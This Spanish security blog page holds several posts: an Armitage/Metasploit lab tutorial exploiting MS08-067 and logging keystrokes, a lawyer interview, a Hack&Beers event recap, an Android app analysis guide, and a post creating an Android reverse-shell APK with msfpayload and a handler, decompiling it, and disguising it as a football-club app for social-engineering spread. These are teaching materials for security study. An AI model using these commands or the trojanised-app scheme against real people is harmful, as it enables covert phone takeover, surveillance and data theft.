Mostrando entradas con la etiqueta wwh. Mostrar todas las entradas
Mostrando entradas con la etiqueta wwh. Mostrar todas las entradas

lunes, 28 de marzo de 2016

Cómo usar Metasploit en Armitage desde 0 a modo colaborativo

Hoy vamos a explicar el potencial de Armitage, una interfaz gráfica sobre el conocido framework  de explotación Metasploit, la cual nos va a ayudar en nuestras auditorías, llegando al punto de poder colaborar al mismo tiempo con varios compañeros en nuestro Pentesting. Antes de nada comentar que vamos a usar una máquina atacante con una distribución Kali Linux 2.0 y otra máquina vulnerable Windows como víctima.

Configuración Inicial
Antes de nada vamos a configurar la máquina del atacante. Dado que Armitage trabaja sobre Metasploit y este a su vez trabaja con una base de datos Postgresql, lo primero que debemos hacer es levantar el servicio de la base de datos.



Ahora arrancamos Armitage, donde lo primero que nos pedirá es conectarse al servidor de Metasploit RPC, en caso de que no esté levantado nos preguntará si lo queremos levantar. Acto seguido pedirá los datos de conexión, donde introducimos los datos por defecto que podemos ver en la siguiente imagen.
Configuración por defecto
Primeros pasos
Una vez tenemos Armitage funcionando lo primero que se haría ahora sería escanear la red. Armitage incorpora una función para poder escanearla con Nmap. Para ello nos vamos a la pestaña Hosts Nmap Scan y aquí elegiríamos el tipo de escaneo, en nuestro caso Intense Scan.


 Introducimos la dirección IP de la red y el CIDR (el nº de unos de la máscara).


Una vez finalice el escaneo podemos apreciar como salen los hosts de nuestra red.


Encontrado vulnerabilidades
Una vez tenemos el esquema de la red y los equipos que podemos encontrar, nos iremos uno por uno a escanear los posibles fallos de seguridad. Para ello le damos clic derecho sobre nuestro objetivo y seleccionamos Scan.


Una vez hecho esto, tendríamos que irnos a la pestaña Attacks Find attacks.


Con esa funcionalidad conseguimos que se busquen los diferentes exploits que pueden afectar a los diferentes vectores de ataques encontrados en el escaneo. Vemos en la siguiente imagen como se van consultando al servicio de Metasploit.

Una vez terminado nos vamos a la máquina víctima y hacemos clic derecho para ver la opción Attack, donde encontramos las posibles exploits que pueden afectarle a nuestro objetivo.


En nuestro caso es una máquina XP con una vulnerabilidad muy conocida en el puerto 445 (MS08-067) que aunque parezca sorprendente sigue existiendo en muchas máquinas a día de hoy. Aquí os dejo referencias sobre la misma:

Atacando a la víctima
Ahora que ya tenemos varias ataques posibles podemos elegir el que queramos. Nosotros seleccionaremos el exploit a lanzar en Attack → smb ms08_067_netapi. Una vez hecho esto debemos configurar las opciones del exploit como haríamos en la consola de Metasploit. 


¿Cómo sabemos que nuestro ataque ha funcionado? Podemos ver en la consola si las diferentes fases del exploit se han ejecutando correctamente y si hemos conseguido alguna sesión de meterpreter, shell... Aquellos equipos que sean comprometidos saldrán marcados como en la imagen.


Explotando el objetivo
Ahora ya tendríamos el control del equipo víctima y pasaríamos a la fase de explotación. Un consejo es crear varias sesiones de meterpreter sobre cada víctima previamente a la explotación por si alguna falla. En cuanto a la explotación en si sólo tendríamos que irnos a la sesión que queremos y elegir qué hacer. En la siguiente imagen vemos como podemos ejecutar un keylogger para ver que escribe la víctima Meterpreter1 → Explore  Log keystrokes.


Tenemos gran cantidad de posibilidades como explorar los archivos, tomar capturas de pantalla de lo que está viendo la víctima en cada momento o incluso obtener las contraseñas que hay almacenas en la RAM.

Modo colaborativo
Una funcionalidad muy interesante de Armitage es el modo colaborativo o lo que se conoce como multiplayer. Básicamente nos permite que varios usuarios compartan la información del pentest a través de la interfaz Armitage, para ello todos se conectan a la misma bbdd compartida en tiempo real, donde se almacenan los diferentes vulnerabilidades encontradas. Esto es muy útil en auditorías internas grandes ya que hace que sea mucho más fácil la coordinación entre el grupo de pentesters.

Además de ver que es lo que hace cada uno, podemos comunicarnos con los diferentes usuarios, así como ver los escaneos y máquinas vulneradas. 


¿Cómo usamos el modo multiplayer?
Básicamente en el modo multiplayer tenemos un Armitage en modo servidor y el resto en modo cliente (arquitectura Cliente-Servidor típica). Lo primero que tendremos que hacer para levantar el servidor es irnos a la carpeta de Armitage, que en Kali Linux está en /usr/share/armitage/ :


Y ahora tenemos que iniciar el archivo teamserver pasándole los parámetros de nuestra IP y la contraseña que queremos ponerle. En nuestro caso la IP es 192.168.0.107 y la contraseña wwh. En la siguiente imagen vemos el resultado de la ejecución así como los parámetros que necesitarán el resto de compañeros para conectarse al servidor.


Ahora ejecutamos Armitage desde los diferentes clientes, tanto desde nuestra máquina como desde las del resto de compañero de equipo. Se puede apreciar en la imagen anterior la IP de la máquina donde está el servicio, el puerto, usuario, contraseña y el Fingerprint del servidor. Una vez ejecutado nos pedirá los parámetros de configuración del servidor de los que hablábamos.


Si las credenciales son válidas nos saldrá lo siguiente:


El Fingerprint del servidor del equipo debe ser el mismo, sino estaríamos conectando a uno diferente. Nos pedirá acto seguido nuestro nick para poder hablar con el resto de compañeros:


En la siguiente imagen vemos en el Log de Eventos de Armitage los diferentes usuarios conectados y lo que están haciendo en cada momento. En la imagen vemos como un usuario ha lanzado un escaneo y todos los usuarios verán los resultados. Los avances que lleven a cabo todo el equipo serán compartidos por todos.


Bueno pues esto ha sido todo, espero que os haya gustado la herramienta. Para el que no me conozca me llamo Rafa Sojo, soy estudiante de "Sistemas Microinformáticos y Redes" y me encanta la seguridad. Os dejo mi twitter por si queréis contactar conmigo.

Un saludo.

jueves, 7 de agosto de 2014

Un Abogado 2.0 en la Hack&Beers

Cada día son más los juristas que intervienen en ponencias de Seguridad, prueba de ello es la magnífica intervención del Fiscal de Delitos Informáticos en Gipuzkoa, Jorge Bermudez, en la pasada RootedCon 2014. Esto ha hecho ver a muchos las necesidades que se encuentran a día de hoy en la justicia en el campo de la Seguridad de la Información .


El artículo de hoy va dirigido a un profesional de la materia, uno de nuestros amigos que no falta nunca a una cita de Seguridad en las Hack&Beers, él es nuestro abogado particular, Rafael Perales Cañete, el cual nos ha contestado muy amablemente a unas serie de preguntas.

Rafael se define como un abogado 2.0, lleva ejerciendo en su despacho - Derecho más Informática D+I - desde 1996. Dentro de su extenso curriculum podemos dectacar que es miembro de la APEP (Asociación Profesional Española de Privacidad) y de ENATIC (Expertos nacionales de la Abogacía TIC). Entre sus especialidades se encuentran el Derecho Administrativo, Privacidad y Protección de Datos y actualmente está ampliando su campo a la seguridad de la información.

Rafael nos cuenta que "no pierde contacto con el resto del derecho, ya que la seguridad de la información y todas las ramas del derecho tienen que ver con las tecnologías de la información y la comunicación".



Sus comienzos en la Seguridad Informática.

"Desde que vi un ordenador. Un compañero en la mili me enseñó a modificar el antiguo comand.com en formato hexadecimal y a cambiar la orden copy por delete" - menudo compañero peligroso - "A partir de ahí ya empecé a ver la primigenia ingeniería social que incitaba a ejecutar archivos ocultos en los antiguos disquetes de 3.5"

"Mi preocupación por la seguridad ha ido pareja a la progresiva adquisición de conocimientos informáticos: mientras más sabía más comprendía las vulnerabilidades, y de igual forma me daba cuenta de que los usuarios solamente usaban la tecnología parcial e inconscientemente" - Rafael se planteó estudiar informática pero al final se decidió por el derecho. Los códigos, las leyes y la jurisprudencia sustituyeron a los libros de informática.

Percepción de la realidad de los colegas de profesión.

Según Rafael habría que distinguir entre dos tipos  de abogados: los que utilizan la tecnología TIC "voluntariamente" y a los que “se les ha obligado” a utilizarla. Nos comenta que "El grupo que le gusta y usa las nuevas tecnología tiene un nivel bajo y sólo a nivel de usuario" - no llegan al aprobado - "El resto literalmente se queja constantemente de la 'modernidad' " - los puntúa con un valores por debajo de cero -.

Las necesidades que Rafael percibe entre colegas de profesión son totales, nos comenta que no hacen copias de seguridad, tienen ordenadores antiguos con programas desactualizados - apuesto que XP forever -, envían sentencias penales por cuentas de correo públicas y sin cifrar y un largo etcétera.

Comenta sobre sus colegas que "No tienen percepción de la realidad, temen de forma difusa 'lo que te pueden hacer' pero prefieren ignorarlo". Un abogado le comentó literalmente "he dejado de leer lo que pones en la revista porque me da miedo y parece que no puedo hacer nada de lo que hago".

Medidas de Seguridad que utiliza Rafael.

Las medidas de seguridad que utiliza Rafael son dignas de admiración, más de un administrador de sistemas debería recapacitar. Aquí van algunas de las que utiliza:

  • Copias del sistema.
  • Discos clonados.
  • Cifrado de discos.
  • Copias en Usb y hd de portátiles.
  • Antivirus de pago.
  • Firewall.
  • Antimalware
Nos comenta que hace caso de las medidas que pone el RD 1720/2007, las que le aconsejan sus informáticos y las que le damos el equipo de Hack&Beers. Como dice Rafael, "Todas son pocas, no se puede asegurar nunca al 100%" y hace alusión a una frase muy conocida en el mundo de la seguridad y que he utilizado en alguna jornada de Hack&Beers "una frase que te oído y que me parece genial es 'la seguridad de un sistema es igual a la seguridad de su punto más débil'"


Otra de las medidas que también utiliza Rafael, y en los tiempos que corren me parece fenomenal, es la siguiente, y cito sus palabras textuales ante la pregunta de por qué no utiliza Whatsapp: "Respecto a lo de  Whatsapp lo utilizo con un dispositivo con número de tarjeta y con tres contactos en la libreta del teléfono"

El abogado de la Hack&Beers y las vulnerabilidades presentes en su profesión.

"Me encanta que me llaméis el abogado de H&B, quiero aprender más sobre tecnología y quiero enseñaros más sobre derecho: nuestra simbiosis será perfecta, y es la nueva filosofía de mi despacho (Derecho más Informática)"

Las vulnerabilidades que ve presentes en el ámbito de su profesión son todas las que nos podamos imaginar:
  • Envio de la declaración de un imputado por whatsapp.
  • Redes inalámbricas desprotegidas o con configuración por defecto.
  • Ausencia de copias de seguridad.
  • Ausencia de antivirus.
Encuentra también mucha falta de formación en aspetos como certificados digitales y nos comenta que "ya mismo tendremos que firmar mucho digitalmente para relacionarnos con la Administración electrónica y con los juzgados vía LexNet y PenalNet y ni siquiera saben lo que es eso". Curiosamente "algunos llaman 'la tarjetita' al certificado ACA –Autoridad de la Certificación de la Abogacía- presente en el chip criptográfico de nuestro carnet colegial"

El derecho siempre va por detrás de la sociedad.

Respecto a vacíos legales y necesidades presentes en la actualidad, Rafael nos comenta la ponencia del fiscal Jorgue Bermudez comentada anteriormente, donde nos dice: "Ha definido muy bien el problema del 197.3 del Código Penal que penaliza a todos los hackers sin distinción". Rafael encuentra incongruencias en la legislación, "como la de la Ley 25/2007, de conservación de datos, que la hace inoperante al tratar solo de delitos graves".

También explica que existe mucha normativa: firma digital, administración electrónica, protección de datos, etc … y que algunas leyes nacen ya antiguas, como ejemplo nos comenta la regulación del RLOPD de los soportes informáticos.

Sin embargo hay un poco de esperanza y comenta que "Surgen y aparecen tímidamente las TICs en la legislación: por ejemplo en la LAU se incorpora la posibilidad de que arrendador y arrendatario puedan notificarse por correo electrónico, en la ley de sociedad de capital se regula la convocatoria web de una junta general..."

Todos estos temas son objeto de estudio en su despacho Derecho más Informática D+I, podéis encontrar mucha más información en su Web http://derechomasinformatica.es/

Curiosidades en un caso real con un dispositivo Android.

Rafael nos comenta uno de los últimos casos en los que ha estado trabajando: "caso de mula de paypal, con una conexión WiFi y usando ingeniería social hicieron que instalasen un programa en  un dispositivo Android para pagar la cuota de Whatsapp y tomaron su número de cuenta corriente para realizar estafas en su nombre"

Necesidad de formación en Seguridad de la Información.


Rafael comenta que la formación sobre Seguridad de la Información "Es uno de mis caballos de batalla en la comisión para los alumnos del Máster de la Abogacía y de la Escuela de Prácticas, obviamente también en la Universidad de Córdoba. En nuestra ciudad no son receptivos a ningún tipo de formación ni en seguridad informática ni en el uso de TICs. Los abogados ven esencialmente al ordenador como una máquina de escribir y al correo electrónico como un sustituto del fax"

Nos comenta un caso curioso de una joven abogada , la cual le preguntó hace unos meses que dónde compraba los códigos (Código Penal, Civil, Estatuto Trabajadores, etc) "¡Ella no tenía base de datos de legislación y no sabía manejar la que pone el Colegio de Abogados en la Biblioteca. No saben buscar por Internet ni los boletines oficiales..."

Casos de delitos informáticos más comunes.


"Por ahora lo que más me consultan son sobre aportación de pruebas en soportes digitales. Surgen casos sobre injurias, ciberacoso, difusión de pornografía infantil... Los compañeros me consultan y ni siquiera me pasan los asuntos porque no consideran que sea necesario un abogado especialista en TICs"

Conclusiones.

"Venimos del siglo XIX, continuamos en dicho siglo y caminamos hacia el precipicio."

Pues con esas palabras se despide Rafael y le damos la enhorabuena porque es un placer tratar con personas tan interesadas y comprometidas con la seguridad de la información. Espero os haya resultado interesante.

Un handshake desde el equipo de Hack&Beers !!

"Todavía no he visto un abogado que defienda y asesore a los hackers"

Rafael Perales Cañete

viernes, 1 de agosto de 2014

Hack & Beers - Disfrutando de lo que nos gusta !!

Impresionante la jornada de Hack & Beers Vol. 3 Web Security del pasado Miércoles 30 de Julio en las instalaciones de Cosfera, donde se congregaron un gran número de personas aún siendo período vacacional, más las que nos siguieron a través de streaming.


El evento tenía un gran atractivo, charlas de Hacking en un ambiente distendido y de buen rollo, para después pasar un rato de convivencia con unas cervecitas en la mano. Todo ello rodeado de gente entregada y con los mismos intereses profesionales.

Comenzó la sesión con la primera charla a cargo de Carlos García (@ciyinet) con "Auditando CSRF". Carlos nos mostró un ejemplo de esta vulnerabilidad haciendo uso un chat de una Web donde había varias sesiones de usuarios, para ello uso la herramienta Burpsuite. Vimos el alcance que tiene así como las posibles soluciones para que nuestra Web no se vea afectada por ella.

Podéis ver en el siguiente enlace la charla: "Auditando CSRF"


En la segunda charla de "SQLi y Backdoors para Script Kiddies" a cargo de un servidor, Eduardo Sánchez (@eduSatoe) explicó con una Web, donde se logueaban usuarios, como funciona la vulnerabilidad que está en el número uno del top ten de OWASP (SQL injection) y lo fácil que una persona sin conocimientos y con una simple aplicación en su PC (sqlmap) o en su Android (DroidSQLi) puede aprovecharse de ella. Además se hizo uso de un backdoor muy conocido como es c99 para aprovecharse de vulnerabilidades RFI (Remote File Inclusion).

Podéis ver en el siguiente enlace la charla: "SQLi y Backdoors para Script Kiddies"
También podéis descargar el pdf de la charla, así como el código fuente y la bd de la Web vulnerable utilizada como ejemplo:




La última charla a cargo de Miguel Ángel Arroyo (@Miguel_Arroyo76) , trato sobre la seguridad en los servidores de almacenamiento en la nube. Con el nombre de "Lo que el ojo no ve" nos enseñó como existen servidores de "primera división" y otros de "segunda división", o lo que es lo mismo, pudimos comprobar la seguridad entre servidores dedicados y servidores compartidos.

Podéis ver en el siguiente enlace la charla: "Lo que el ojo no ve"


Una vez terminadas las charlas y las correspondientes preguntas en cada una de ellas pasamos a la segunda parte del evento, las beers, donde pasamos un buen rato de convivencia con una beer en la mano bien fresquita como podemos ver en la foto.


El equipo de Hack & Beers quiere agradecer el interés de todos los asistentes, ya que teníamos gente no sólo de Córdoba y provincia, sino también de Jaén, Granada e incluso de Francia, que aprovechando las vacaciones en Sevilla se habían desplazado para disfrutar del evento. Mucha gente también a través de streaming: Galicia, Pais Vasco, Madrid, Barcelona, Valencia y Colombia entre otros. Mil gracias también a los amigos de Cosfera, que siempre se vuelcan con nosotros en estos eventos y son uno más del grupo.


Por último anunciaros que en Hack & Beers crecemos, ya no sólo tendremos ponencias y charlas interesantes en Córdoba sino también en Madrid y Barcelona de la mano de personas tan importantes en este mundillo como Pablo Gonzalez y Juan Antonio Calles de Flu Project (Madrid) y Marc Rivero López de SysSec (Barcelona), próximamente anunciaremos novedades en twitter @hackandbeers.


Un handshake para todos

Seguiremos disfrutando de lo que nos gusta con muchos más Hack & Beers !!

jueves, 10 de julio de 2014

Pentesting en Android - Parte 1: Rajando al Androide con Santoku

A continuación vamos a describir el proceso de Pentesting de una aplicación en Android para lo cual vamos a hacer uso de una serie de herramientas contenidas dentro de una distribucción de pentesting para Android especializada en análisis forense llamada Santoku (nombre de un tipo de cuchillo japonés). Los pasos a seguir en dicho proceso son los siguientes:


A. PROFILING

En esta primera fase tratamos de obtener toda la información posible de la aplicación tratandola como una caja negra (Black Box), es decir, sin tener conocimiento alguno de que es lo que hace la aplicación ni como está implementada. Debemos obtener información sobre:

  1. El desarrollador de la aplicación: ¿quién es? ¿qué tipo de aplicaciones ha desarrollado? 
  2. Dependencias del código: ¿qué recursos necesita? ¿podemos saberlo de primera hora en la ficha de la app? En el apartado de permisos podemos ver si necesita acceso para escribir en la tarjeta externa o si necesita acceder a la posición GPS, etc.
  3. Otras aplicaciones del mismo desarrollador, para así analizar su código y encontrar posibles similitudes.
  4. Permisos que solicita la aplicación.
Con esta información podemos sacar en claro el tipo de aplicación que estamos tratando y si es sospechosa de tener algún tipo de malware, greyware... ya que si solicita muchos permisos sospechosos para la funcionalidad de la aplicación o el desarrollador no tiene buena reputación, podemos inferir muchas cosas.

Para llevar a cabo esta fase nos valemos de la información que podemos encontrar en Play Store o en la Web (caso que la tenga) del desarrollador, así como en foros con buena reputación. En este punto no ha hecho falta aún que instalemos la aplicación.

Para llevar a cabo todo el proceso de pentesting hemos cogido una aplicación que lleva poco tiempo en Play Store pero que está teniendo numerosas descargas, ya que es de un local de moda de la zona.Vamos pues a buscar toda la información que podamos.


Desarrollador

En Play Store justo debajo del nombre de la app vemos el nombre del desarrollador y buscando por Internet vemos que es una empresa dedicada a la programación con aproximadamente un año de experiencia y afincada en la Costa del Sol.

Otras Apps

En la siguiente imagen podemos ver otras aplicaciones que ha desarrollado, las cuales son similares a las de la app objetivo, todas tratan sobre creación de eventos e informar a los usuarios que tienen la app instalada, lo cual hace pensar que haya mucho código  fuente común.


Permisos

En la ficha de la app vemos los permiso que supuestamente solicita, más adelante comprobaremos estos requisitos cuando analicemos la apk. Lo que resulta sorprendente que una app que se supone tan sólo sirve como reclamo publicitario, necesite saber nuestra posición por medio del GPS o conocer el número con el que hablo e incluso poder activar el micrófono.


Recordad que en esta fase tan sólo estamos obteniendo información de fuentes públicas, sin necesidad de instalarnos la aplicación, es semejante a la entrada que publicamos hace unos meses sobre obtener información de una dominio al que queremos hacer un pentesting (Analizando objetivos sin hacer ruido) pero en nuestro caso es una aplicación Android.

B. ANÁLISIS ESTÁTICO

En esta fase vamos a analizar el código fuente por medio de ingeniería inversa, para ello usaremos, entre otras herramientas, la herramienta apktool que ya vimos en una entrada anterior (Ingeniería Inversa de una APK maliciosa). Una vez hecho esto obtendremos posibles direcciones URI no modificables,  posibles errores en la lógica de la aplicación e incluso podríamos encontrar usuarios o claves dentro del código que los desarrolladores en la fase de testeo han olvidado eliminar.

Analizaremos los permisos que nos solicita la app, de manera que compararemos los permisos con los vistos en la etapa de Profiling. Para ello vamos a usar el paquete de herramientas Androguard, concretamente androlyze.py.

En esta fase utilizaremos la APK pero sin llegar a instalarla, para ello vamos a descargarnos la aplicación desde el PC sin necesidad de instalarla desde el Play Store. Utilizaremos por la siguiente dirección Web (http://directapks.com) e indicaremos el nombre del paquete de la aplicación que podemos ver en la URL de Play Store de la app. De esta forma se nos descarga la APK a analizar.


Una vez descargada la APK vamos a irnos a nuestra distribucción de pentesting para Android especializada en análisis forense llamada Santoku (nombre de un tipo de cuchillo japonés) y empezaremos todo el proceso.

Búsqueda de URI

Descomprimimos la APK con apktool como ya vimos en la entrada de Ingeniería Inversa a una APK maliciosa y nos disponemos a buscar direcciones interesantes dentro de todos los ficheros de código de la carpeta descomprimida de la APK.


Para la búsqueda usamos el comando grep haciendo uso de expresiones regulares y eliminando aquellas referencias a direcciones conocidas de la librería de Android: 
grep -Eir "https://?" carpetaAPK | grep -v "schemas.android.com"

En la imagen anterior podemos ver algunas de las direcciones de acceso de la aplicación, como vemos son accesos a apis de google y otras apis de otra dirección. Con un poquito de imaginación podríamos hacer muchas cosas más como buscar acceso a URL http o buscar vulnerabilidades de los sitios a los que accede, etc.

Análisis de Permisos

El siguiente paso será analizar los permisos de la aplicación, para ello ejecutaremos el framework Androguard. El echo de utilizar este framework es porque es una herramienta aún más potente que las utilizadas anteriormente.

Pues bien, nos vamos a la carpeta de Androguard dentro de Santoku y vamos a utilizar la herramienta Androlyze, para ello ejecutamos: python androlyze.py -s y se nos abrirá la interfaz de comandos, donde pondremos lo siguiente:

  a,d,dx=AnalyzeAPK("/ruta/nombrePaquete.apk", decompiler="dad") 

Este comando destripa topa la APK y nos devuelve tres objetos para poder trabajar con ellos.

  • a: objeto que representa a la aplicación (APK).
  • d: objeto que representa al fichero classes.dex (DalvikVMFormat), que son las clases de la aplicación en formato de la máquina virtual Davilk.
  • dx: objeto que tiene un análisis del fichero classes.dex (VMAnalysis).

Una vez destripada la APK tan sólo tenemos que utilizar los cientos de posibilidades de esta para obtener información. Vamos a ver algunos ejemplos:

   a. Obtener información general de la APK: a.show() donde podemos encontrar los siguientes apartado:
  • FILES: ficheros de recursos de la aplicación
  • PERMISSIONS: permisos de la aplicación junto con su descripción y la gravedad del mismo.
  • MAIN ACTIVITY: actividad principal de la APK.
  • ACTIVITIES: resto de actividades de la aplicación.
  • SERVICES: servicios de la aplicación.
  • RECEIVERS: recibidores de la aplicación que sirven para recibir intenciones del sistema o de otras aplicaciones, de manera que haya intercambio de información
  • PROVIDERS: proveedores de la aplicación donde almacenar información.
La salida que nos da de los permisos es muy útil porque nos informa de los peligros de estos como vemos a continuación.


Vemos en rojo aquellos permisos que podrían comprometer nuestro teléfono junto con la descripción del mismo. En azúl la actividad principal, aunque también la podemos obtener mediante a.get_main_activity(). Y por último vemos en amarillo el nombre de un servicio que no sabemos para que puede usarse y sería objeto de análisis.

   b. Obtener sólo permisos de la APK: a.get_permissions()


c. Podemos subir un escalón más y ver las clases y métodos que utilizan cada uno de los permisos: show_Permissions(dx)


En la imagen vemos una parte de las clases y métodos que utilizan el permiso de localización GPS (ver color rojo). Cada una de las líneas resultantes muestran los siguientes datos según colores:
  • Clase donde se utiliza el permiso, de color azúl - LocationHub
  • Método dentro de la clase, de color verde - getLastKnowLocation
  • Dentro del método anterior debe haber una instancia del objeto de la clase de color amarillo - LocationManager
  • Y por último la llamada a un método del objeto anterior que realmente es quien utiliza el permiso, de color naranja - getLastKnownLocation

Ahora sólo toca analizar estos métodos y ver si hay algún posible error o cosa rara. Para ver el código JAVA seleccionamos CLASS y METHOD comentados anteriormente. Ahora buscamos objeto y método que utilizan el permiso dentro del código java correspondiente tal como vemos en la siguiente imagen. Hemos hecho uso de source() una vez elegida la clase y el método.

Nota importante: Para poder ver el código java hay que usar en la función AnalyzeAPK el decompiler "dad", sino nos dará error.


Si quisiéramos saber desde donde se llama a este método y a quien llama este método, tan sólo pondríamos lo mismo pero en vez de source, ponemos pretty_show() y al final aparecerán con T los métodos desde donde se llama y con F los métodos a los que llama.

Podríamos seguir analizando código fuente sin parar y aprovechar al máximo las posibilidades de Androguard, pero creo que ya os hacéis una idea de la potencia del framework. Aquí os dejo enlaces relacionados con Androguard donde podéis encontrar muchas más herramientas y posibilidades:
TO BE CONTINUED...

Pues bien, hasta aquí las dos primeras fases del pentesting de una aplicación en Android, espero que lo encontréis interesante tanto como yo y que os pongáis manos a la obra a probar vuestras APKs.

Un handshake de @eduSatoe !!

"Si todo parece estar yendo bien, obviamente has pasado algo por alto"
Anónimo

sábado, 28 de junio de 2014

Ingeniería Inversa a una APK maliciosa

Muy grande la jornada que echamos en la Hack & Beers Vol.2 sobre Mobile Security con muchos amigos. Agradeceros a todos, asistentes y compañeros de charlas, vuestras aportaciones e interés. Pues bien, siguiendo con la charla de seguridad de Android y viendo qué tan fácil es hacerle la ingeniería inversa a una APK de Android, nosotros vamos a ir un poco más allá y vamos a obtener el código fuente de un APK maliciosa creada por Metaesploit, así que vamos manos a la obra.

Antes de nada os muestro lo que sería el supuesto escenario de ataque de manera visual para que lo entendáis mejor:


CREANDO UNA APK MALICIOSA

Vamos a crear una APK para Android maliciosa, para ello lo haremos desde Kali Linux, haciendo uso de las herramientas del framework Metasploit. Desde consola vamos a usar el comando msfpayload para inyectar un payload dentro de la APK.

Primero vemos los payload disponibles para Android:


Vamos a seleccionar un payload que nos devuelva una sesión de meterpreter y que sea del tipo reverse_tcp. Para ello ponemos el siguiente comando:

msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444 R > backdoor.apk

Además también hemos configurando el equipo al que se conecta (LHOST) y el puerto de conexón (LPORT), para inyectarlo en la aplicación maliciosa.

De esta manera cualquier usuario que se instale la APK (backdoor.apk) va a lanzar una sesión de meterpreter a la máquina 192.168.1.10 que estará escuchando en el puerto 4444 (ver el escenario de ataque). Para que la máquina con Metasploit esté escuchando debemos hacer uso del exploit/multi/handler con el payload android/meterpreter/reverse_tcp y configurarlo con los parámetros con los cuales creamos la aplicación maliciosa. 

msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444 E

Pero el objetivo de hoy no es compromenter el terminal, sino obtener el código de dicha aplicación maliciosa para analizarlo.

INGENIERÍA INVERSA DE LA APK

Una vez que tenemos la backdoor.apk vamos a seguir los siguientes pasos, haciendo uso de herramientas (apktool, dex2jar y jd-gui) que ya nombramos en entradas anteriores:

Obtención del fichero de manifiesto:
  1. Desempaquetamos la APK con la aplicación apktool "apktool d backdoor.apk" y se nos crea una carpeta con con varias carpetas y ficheros. Dentro podemos encontrar, entre otras cosas, nuestro tan famoso fichero de manifiesto AndroidManifest.xml.
Obtención de los ficheros JAVA:
  1. Renombramos la APK como backdoor.zip y descomprimimos dicho paquete en una carpeta que llamaremos backdoor-zip. El fichero que más nos interesa es el classes.dex, donde tendremos las clases de la aplicación en formato dex (código para la Dalvik VM).
  2. Incluimos dentro de esta misma carpeta todos los ficheros del paquete dex2jar y ejecutamos el comando "dex2jar classes.dex". Obtendremos por tanto el fichero classes_dex2jar.jar, donde tenemos las clases de la aplicación en formato jar.
  3. Por último cogemos el fichero jar y los abrimos con la aplicación jd-gui. Podemos ver todas las clases de la aplicación en formato java. Ahora pulsamos sobre File > Save All Sources y grabamos dichos ficheros en la carpeta que indiquemos, obtenemos el paquete classes_dex2jar.src.zip con todas las clases 

ANALIZANDO CÓDIGO

Primeramente vamos a analizar el archivo de manifiesto AndroidManifest.xml.


Permisos que solicita:
  • android.permission.INTERNET: Permite a las aplicaciones abrir sockets de red.
  • android.permission.ACCESS_NETWORK_STATE: Permite que las aplicaciones accedan a información sobre redes.
  • android.permission.ACCESS_COURSE_LOCATION: Permite que una aplicación acceda a la ubicación aproximada derivado de las fuentes de ubicación de red, tales como torres de telefonía móvil y Wi-Fi.
  • android.permission.ACCESS_FINE_LOCATION: Permite que una aplicación acceda a la ubicación precisa de fuentes de localización como GPS, antenas de telefonía móvil y Wi-Fi.
  • android.permission.READ_PHONE_STATE: Permite acceso al estado del teléfono 
  • android.permission.SEND_SMS: Permite que una aplicación envíe mensajes SMS.
  • android.permission.RECEIVE_SMS: Permite que una aplicación reciba mensajes SMS.
  • android.permission.RECORD_AUDIO: Permite que una aplicación para grabar audio
  • android.permission.CALL_PHONE: Permite que una aplicación para iniciar una llamada de teléfono sin tener que pasar a través de la interfaz de usuario del sintonizador para el usuario para confirmar la llamada de ser colocado.
  • android.permission.READ_CONTACTS: Permite que una aplicación lea los datos de Contactos del usuario.
  • android.permission.WRITE_CONTACTS: Permite que una aplicación escriba en los datos de Contactos del usuario.
  • android.permission.WRITE_SETTINGS: Permite que una aplicación leer o escribir la configuración del sistema.
  • android.permission.CAMERA: Acceso a todas las funciones de la cámara.
Si vemos detenidamente todos los procesos, podemos hacer casi cualquier cosa con estos permisos, y sobre todo de manera remota, ya que tenemos permiso para abrir socket y cambiar configuración de sistema. Podemos hacer llamadas a números de tarificación especial, obtención de fotografías en vivo, venta de contactos a terceros, grabar las coversaciones, localizar a la persona por su posición GPS y un largo etc. 

Otra información interesanse que podemos encontrar es la siguiente:

  • android:name=".MainActivity": Es la clase principal desde donde se carga el LAUNCHER de la actividad principal, es decir, cuando arranca la aplicación es la clase que tiene el hilo principal de ejecución. Muy importante a la hora de que analicemos el código y saber desde donde empezar.
  •  android:theme="@android:style/Theme.NoDisplay": Es el estilo que va a utilizar la actividad principal, que en este caso se trata de un estilo especial que no contiene interfaz de usuario. Por tanto nuestro código simplemente se va a ejecutar y no nos va a mostrar nada en pantalla, eso si, en memoria si va a estar presente.

Pasamos ahora a analizar los archivos .JAVA encontrados en el classes_dex2jar.src.zip:


Si controlamos algo de temas de programación en Android, a simple vista podemos identificar la función de cada fichero de código:
  • MainActivity.java: clase principal de la aplicación, ya que lo vimos en el manifiesto.
  • BuildConfig.java: clase con información de configuración a la hora de desarrollar la apk.
  • R.java: clase que se crea automáticamente en cualquier aplicación apk, donde se asigna un identificador numérico a cada uno de los recursos utilizados en la aplicación.
  • Payload.java y PayloadTrusManage.java: son clases propias del proyecto en si, que ahora pasaremos a analizar.
Vemos el MainActivity de la backdoor:


Podemos encontrar que nada más crearse la actividad principal (método onCreate) y llamar al constructor de la clase (super.onCreate), lo siguiente que hace es llamar a un método de clase de la clase Payload, para posteriormente finalizar la ejecución (finish). Seguramente en este método de clase se lance otro hilo de ejecución, ya que el hilo principal muere con el finish. Vamos a ver la clase Payload:


Para empezar vemos en el código que hay gran cantidad de librerías importadas que nos dan mucho juego como manejadores (Handler), entrada y salida de datos (DataInputStream y DataOutputStream), entrada y salida de ficheros (File y FileOutputStream), socket (Socket), conexiones https (HttpsURLConnection), etc.

Si seguimos viendo código, en la declaración de atributos de la clase Payload vemos dos atributos bastante interesantes: LHOST y LPORT, que no son sino la dirección IP y el puerto de conexión de nuestra máquina donde estará escuchando Metasploit. Vemos que forman parte de unas cadenas con más caracteres, de manera que un analizador de código no pueda identificar fácilmente una dirección IP o puerto. 

UTILIZANDO EL CÓDIGO Y UN POQUITO DE INGENIERÍA SOCIAL

Podíamos seguir analizando el código fuente paso a paso y obtener funciones como reverseTCP, reverseHTTP, startReverseConn, etc. Pero en vez de eso, hemos creado una aplicación del Córdoba C.F., aprovechando que somos equipo de primera, y le hemos inyectado el código del Payload analizado. 


Esto lo podría utilizar una persona con malas intenciones y ahora sólo tendría que echar la imaginación a volar y utilizar la Ingeniería Social para divulgar la APK maliciosa, como por ejemplo colgar este cartel en los alrededores del estadio.


